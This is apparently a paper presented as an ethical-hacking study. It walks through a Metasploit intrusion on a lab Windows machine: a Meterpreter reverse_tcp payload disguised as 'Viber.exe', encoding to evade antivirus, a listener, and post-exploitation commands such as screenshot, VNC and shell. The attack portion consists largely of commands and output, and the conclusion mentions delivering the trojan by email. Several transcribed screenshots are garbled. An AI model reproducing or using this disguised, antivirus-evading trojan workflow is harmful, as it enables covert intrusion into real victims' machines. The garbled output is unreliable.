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ABSTRACT

Hacking is the art of exploiting computers to get access to otherwise unauthorized
information. Now days, the world is using many modern IT systems to gather, store,
and manipulate important information. Besides that, it is very important to make sure
that those stored information are secure. However, there is no system, software, or
application made with zero vulnerabilities. Moreover, there are so many easy ways
and tools through which a hacker can get into a system.Today, a malicious hacker is
usually referred to as a black hat or criminal hacker, which describes any individual
who scans the vulnerabilities of systems and illegally breaks into computer systems to
damage or steal information.This paper will present advantages of ethical hacking to
secure systems, networks, or applications. This work includes four parts. The first
part is scanning a network to find out all hosts which are connected to the router. The
second part, is selecting a target that we want to scan its vulnerabilities and weak
points of the victim machine. The third part is creating a Trojan file, which enables us
to exploit the vulnerabilities of the system target. The fourth part, is encoding the
Trojan file to make it undetectable by the target’s antiviruses. The last part, exploit
and login into the target machine.In this paper we have used some tools and
techniques that hackers use for exploiting systems. We used Linux OS as a hacker
machine, windows Server OS as target machine, and some other hackers’ tools.
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INTRODUCTION

Hacking is the gaining of access to a computer and viewing, copying, or creating data without
the intention of destroying data or maliciously harming the computer. Today, the world is
using many modern Information Technology (IT) systems to gather, store, and manipulate
important information. Furthermore, it is so important to make sure that those stored
information are secure. However, there is no system, software, or application made with zero
vulnerabilities.

Now days, a malicious hacker is usually referred to as a black hat or criminal hacker, which
describes any individual who scans the vulnerabilities of systems and illegally breaks into
computer systems to damage or steal information.

LINUX OS FOR HACKING

Linux is an open source operating system for computers, and it supports multitasking and
multi user operation. Linux is widely used for supercomputers, mainframe computers, and
servers. It can also run on personal computers, mobile devices, tablet computers, routers, and
other embedded system, which is based on the Linux kernel. Linux is capable of running
many of the same applications and software as Windows and Mac OS X.

Linux is extremely popular operating system for hackers. There are two main reasons behind
this. The first reason is that Linux is freely available because it is an open source operating
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system; which make it so easy to modify or customize. The second reason is there are
countless Linux security tools available that can double as Linux hacking software.
Generally, there are two types of Linux hacking: hacking done by hobbyists and hacking
done by malicious actors. Hobbyists are often hackers looking for new solutions to software
problems or tinkerers looking for new uses for their software/hardware. Malicious actors use
Linux hacking tools to exploit vulnerabilities in Linux applications, software, and networks.
This type of Linux hacking is done in order to gain unauthorized access to systems and steal
data (Maynor, Mookhey, 2007).

LINUX HACKING TOOLS

Malicious actors typically use tools such as password crackers, network and vulnerability
scanners, and intrusion detection software. These Linux hacking tools all serve different
purposes and are used for a wide range of attacks. Password crackers are software developed
for decoding passwords in a variety of formats, such as encrypted or hashed passwords. Many
cracking tools offer additional functionality such as network detectors and wireless packet
sniffing. Malicious actors use these Linux hacking tools because they offer a simple way to
gain access to an organization’s network, databases, directories, and more. Password cracking
distros are commonly used in Linux wifi hacking (Linux hacking that targets wireless
networks) (Lakshman, 2011).

Linux network scanners are used to detect other devices on a network. In doing so, attackers
are able to develop a virtual map of the network. In addition to discovering other devices,
many network scanners are capable of gathering details about devices such as which
operating systems, software, and firewalls are being used. For example, network scanners are
used to discover network security holes in Linux wifi hacking. They also can be used to
gather information useful for Linux distro hacking (Linux hacking that targets software,
applications, operating systems, etc) (Hutchens, 2014).

Linux vulnerability scanning software is used to detect vulnerabilities in systems and
applications. Malicious parties often use vulnerability scanners as Linux hacking software in
order to detect exploitable vulnerabilities, gather simple passwords, discover configuration
issues, and perform denial of service attacks. Vulnerability scanners are frequently used for
Linux distro hacking because of these capabilities (Chirillo, 2001).

Kali Linux is a new open source distribution that facilitates penetration testing. Whereas
BackTrack was built on Ubuntu, Kali is built from scratch and constructed on Debian and is
FHS-compliant. Kali also has improved software repositories that are synchronized with the
Debian repositories so it makes it easier to keep it updated, apply patches and add new tools.
It is also easy to customize your own Kali Linux so that it contains only the packages and
features that are required (Pritchett, 2013).

Here is a quick overview of some of the tools that might be useful for application developers
and testers:

i.  Network Scanner: Network scanners can be used to discover hosts on the network,
find out what ports and services might be open were exposed on a host, to fingerprint
operating systems, and to identify versions of services that are running Nmap or
zenmap

ii.  Web Vulnerability Scanners: Web vulnerability scanners have some different flavors.
Web server scanners examine web server software, such as Apache, looking for
misconfigurations. Web application scanners look at the applications themselves,
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sometimes focusing on particular types of vulnerabilities such as cross site scripting
(XSS) or SQL injection (SQLI) vulnerabilities.

iii.  Intercepting Proxies: Intercepting proxies act as a “man-in-the-middle” inspecting
requests and responses as they travel to and fro, allowing them to be analyzed or
even modified in flight.

iv.  Explotation Tools: Exploitation tools are usually not used to find vulnerabilities but
rather just to exploit them clearly they could be used as true hacker tools but they can
also be used to prove that particular vulnerabilities are real and exploitable.

v.  Vulnerability Management: A vulnerability management systems are used to audit
systems, track vulnerabilities, and differentiate new findings and false positives.
Many of them are not good one-time scan tools, but rather are complete management
systems intended to maintain entire networks over time. Kali Linux makes a large
number security tools easy to find, easy-to-use, and easy to maintain, for security
professionals and nonprofessionals like. Just about any development or test group
can benefit from spending some time learning to use Kali Linux within their
organization (Pritchett, 2013).

CREATING A PAYLOAD FILE

A payload is a piece of code that does a very specific task on a system as intended by the
hacker. For example open a reverse shell or run a vnc program etc. When running a remote
exploit for example, you always want to run a payload as well so that the system can come
under your control.

Msfpayload windows/meterpreter/reverse_tcp LHOST=<ListeninglP> LPORT=<Listening
Port> x > root/Desktop/Viber.exe

The above command is for creating the meterpreter payload for windows, under the name of
Viber.exe, which uses a reverse tcp connection. Other important parameters mentioned are
LHOST (local host ip address) and LPORT (local host port number).

PREVIOUS WORK ON CREATING PAYLOAD FILES

Most of payloads and Trojans, as the one which created in the above section, would run fine
on windows xp and windows 7 with no uptodate antivirus on them. If there is any antivirus
on the system, victim machines, they would detect the payload signature and warn the user.
Windows 8, on the other hand, comes with inbuilt anti malware protection (Windows
defender) which would detect the Trojan right away and would not allow the user to run the
program. So, we need a way around this to make the Trojan undetectable. In this work, we
created a payload (Trojan) file. Then, we encoded it such that antivirus/anti malware cannot
detect it, as shown in the following figure 1.

Now the encoded.exe file is different from trojan.exe and is encoded such that antivirus may
not be able to detect it.

At this point of time, most antivirus and antimalwares have become fully aware of the above
techniques and it would be very difficult for the Trojan to go undetected. Windows 8 inbuilt
antimalware detects all such types of payloads generated from msfpayload and encoded with
msfencode to whatever iteration level.
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ht (c) 2009 Microsoft Corporation. All rights reserved.

ing Input File. (done)

G (done)
Remapping CALL Instructi (done)
Armoring Code. (done)

Writing Output File. (done)

C:\Users\Win 7\Desktop>_

Ole . 0 @ =] w00 e |
Figure 1. PEScramler encoded payload

Now this file "Viber.exe" is supposed to run on the victim machine. First, we have to start a
listener on the hacker machine so that it can receive incoming connections from the Viber. To
do this, enter the msfconsole and use this command:

msf > use exploit/multi/handler

We now use exploit/multi/handler, as shown in the following figure 2. This will receive the
incoming connection from trojan.exe and open a meterpreter session. Before running the
exploit some options need to be setup, as shown in following figure 4-6:

Applications Places & Sun May 17, 9:47 PM
Iceweasel ;
[ se the World Wide Web (R IIEE
File Edit View Search Terminal Help
X >/root/Desktop/Viber.exe
*] exec: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=4
x >/root/Desktop/Viber.exe

Computer

Viber.exe 1 ok ok

The utility msfpayload is deprecated!
It will be removed on or about 2015-06-08
Please use msfvenom instead
tails: https://github.com/rapid7/metasploit-framework/pull/4333 *
% sk o oK R K ok ok ok R o K ok sk o ok ok K o ok o sk o K K ok ok o ko o KR K SRR ok K o sk o Kok ok ok ok ok ok K
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 281
Options: {"LHOST"=>"192.168.1.111", "LPORT"=>"4321"}
msf > use exploit/multi/handler
msf exploit( Yy >rset LHOST 192.168:.1.111
LHOST => 192.168.1.111
msf exploit( ). > set LPORT 4321
LPORT => 4321
msf exploit( ) > exploit

[*] Started reverse handler on 192.168.1.111:4321
[*¥] Starting the payload handler...

B root@kali: ~

Figure 2. Configurating and running the exploit
msf exploit(handler) > set LHOST 192.168.1.111
LHOST =>192.168.1.111
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msf exploit(handler) > set LPORT 4321

LPORT => 4321

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.111:4321

[*] Starting the payload handler...

After running the the undetectable trojan.exe, which created previously, on the windows
victim’s machine, the msfconsole would give the meterpreter session as soon as connected.

Applications Places @ Sun May 17, 9:49 PM

Access documents, folders and network places
root@kali: ~

Terminal Help

The utility msfpayload is deprecated!
It will be removed on or about 2015-06-08
Please use msfvenom instead
Details: https://github.com/rapid ploit-framework/pull/

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp

Length: 281
Options: {"LHOST" 192.168.1.11188 “LPORT" 321"}
msf > use exploit/multi/handler
msf exploit( ) > set LHOST 192.168.1.111
LHOST => 192.168.1.111

) > set LPORT 4321

LPORT => 4321
msf exploit( ) >rexploit

Started reverse handler on 192.168.,1.111:4321

Starting the-payload -handler...

Sending stage (882176 bytes) to 192.168.1.103

Meterpreter session 1 opened (192.168.1.111:4321 -> 192.168.1.103:1038)
-05-17 21:48:47 -0400

meterpreter > i

B root@kali ~

Figure 3. The meterpreter session

Now, we can get into the victim machine. For example, using (sysinfo) command to get all
the information about the victim’s operating system, as shown in the following figure 3:

Applications Places & B2 Sun May 17, 9:26 PM

root@kali: ~
e Edit View Search Terminal Help

nmap -0 192.168.1.103

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-17 21:25 EDT
Nmap scan report for 192.168.1.103
Host is up (0.00045s latency).
Not shown: 996 closed ports
STATE SERVICE
open msrpc
open netbios-ssn
open microsoft-ds
open

: general pur
Running: Microsoft Windo
0S CPE: cpe:/o:microsoft ws_server_2003::spl cpe:/o:microsoft:windows_server_2003::sp2
0S details: Microsoft Wi ws Server 2003 SP1 or SP2
Network Distance: 1 hop

0S detection performed. Please report any-incorrect,results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds

i~

B root@kali: ~

Figure 4. Running sysinfo command
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Also, we can view the running process on the victim machine by using “PS” command and as
shown in the below figure 4:

Applications Places (@ Sun May 17, 9:50 PM

Iceweasel .
E Br he World Wide Web root@kali: ~

File Edit View Search Terminal Help
Process List

Viber.exe

PPID Name Session User

o] [System Process] 4294967295
[o] System ¢]
296 4 smss.exe 0 AUTHORITY\SYSTEM
ot\System32\smss.exe
344 668 wmiprvse.exe [¢]
S\system32\wbem\wmiprvse.exe
352 296 csrss.exe AUTHORITY\SYSTEM \?7\C:\WI
NDOWS\system32\csrss.exe
376 296 winlogon.exe AUTHORITY\SYSTEM \?7\C:\WI
NDOWS\system32\winlogon.exe
424 376 services.exe AUTHORITY\SYSTEM
S\system32\services.exe
lsass.exe AUTHORITY\SYSTEM

424 VBoxService.exe AUTHORITY\SYSTEM
S\system32\VBoxService.exe
668 424 svchost.exe AUTHORITY\SYSTEM
S\system32\svchost.exe

B root@kali: ~

Figure 4. Viewing a Victim’s Running Processes

Moreover, we can get a screen shot of the victim machine by using “screenshot” command,
and it will be saved in the root directory, as shown below in figure 5:

Applications Places & Sun May 17, 9:52 PM

root@kali: ~
File Edit View Search Terminal Help
S\System32\svchost.exe
1076 424 spoolsv.exe NT AUTHORITY\SYSTEM c:
S\system32\spoolsv.exe
1100 424 msdtc.exe
S\system32\msdtc.exe
1180 424 svchost.exe x86 NT. AUTHORITY\SYSTEM C:
S\System32\svchost.exe
1260 424 svchost.exe x86
S\system32\svchost.exe
1452 424 svchost .exe x86 NT AUTHORITY\SYSTEM C:
S\System32\svchost.exe
1696 1660 explorer.exe x86 [¢] AYSARI\Administrator
S\Explorer.EXE
1744 1696 Viber.exe x86 0 AYSARI\Administrator
nts and Settings\Administrator\Desktop\Viber.exe
1760 1696 VBoxTray.exe x86 (6] AYSARINAdministrator
S\system32\VBoxTray.exe
2028 872  wuauclt,exe x86 0 AYSARI\Administrator
S\system32\wuauclt.exe

Viber.exe

meterpreter > screenshot
Screenshot saved to: /root/QbvrqFWL.jpeg

meterpreter > i

[ root@kali: ~

Figure 5. Screen shot of the victim machine

Or, we can use the “Run vnc” command to get a print screen of the victim machine on a real
time, as shown below in figure 6:
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Applications Places Sun May 17, 9:56 PM

TightVNC: aysarl

 rose - Google Search - Microsoft Internet Explorer -1of x|

Ble Edt View Fovorites Tools Help ‘ o

Qeak -~ ) - [ 2] (0| P seach TrFavortes €| (30 L 3

‘Weh History | Settings ¥ | Sign in ~
Gocgle e o]

Web  Images  Videos  Mews  Maps  Books
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G Any time Rose - Wikipedia, the free encyclopedia
Past hour en.wikipedia orgfwikiRese ~
ecycle Past 24 hours A rose is a woody perennial of the genus Rosa, within the family Rosaceae. There are over 100
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oo Images for rose
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B root@kali; - ® TightVNC: aysarl ]
Figure 6. Running run vnc command

Finally, we can use the “shell” command to login into the victim machine and brows the files
of victims, by printing the following command, as shown in figure 7:

Applications Places § Sun May 17, 9:53 PM

root@kali: ~

File Edit View Search Terminal Help

vchost.exe x86
vchost.exe
svchost.exe x86 NT AUTHORITY\SYSTEM :\WINDOW

1660 D x86 AYSAR1\Administrator C:\WINDOW|
S\Explorer.EXE
1744 1696 Viber.exe x86 0] AYSARI\Administrator C:\Docume
nts and Settings\Administrator\Desktop\Viber.exe
1760 1696 VBoxTr .exe x86 0 AYSARI\Administrator C:\WINDOW|
32\VBoxTray
x86 0 AYSARI\Administrator C:\WINDOW

creenshot
/root/QbvrgFWL . jpeg
Process created:
Channel 1 created.
Mi soft Windows rsion 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator) Desl«topr—-l

B root@kali: ~

Figure 7. Running shell command

There are many other commands that we can use in order to get more information about
victims.

CONCLUSION AND FEURTURE WORK

The most important points concluded throughout the planning and the implementing of this
paper is to show how easlly is hackers can attack our systems even if we have antivirus
softwars by doing the following steps: scanning a specific target and find vulnerabilities and
the type of the OS which is running on it, creating an executable file using kali Linux,
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encoding the executable file to make it undetectable by antiviruses or antitrojan programs,
transfer the undetectable trojan to the victim machine using email, flush memory, or any
other way, finally, Login into the victim machine using some commands such as: sysinfo,
shell, screenshot, etc. The other advantage of this paper is to understand these types of attacks
and build protected system against these types of hackers.

We used some tools, which hackers use to hack any system or victim machine. We used those
tools ethically. In other words, we used the hackers’ tools to scan and detect our systems
vulnerablilites. Then, we hacked our victim to prove that hackers can hack any computer
easlly even if the victim machine has antiviruse software.

In the next future works, we will be progress to include many new parts using updated
technologies and tools. The main future work is how to protect system aginst these types of
attacks and prevent hackers to use this type of payload to gain access to systems. The other
part of our future work can be summarized as the following:Scan networks and victims using
Zombie’s scan too, find the vulnerabilities of victim machine using undirected way, and
apply the same project on a victim which is out of the network using a public IP.
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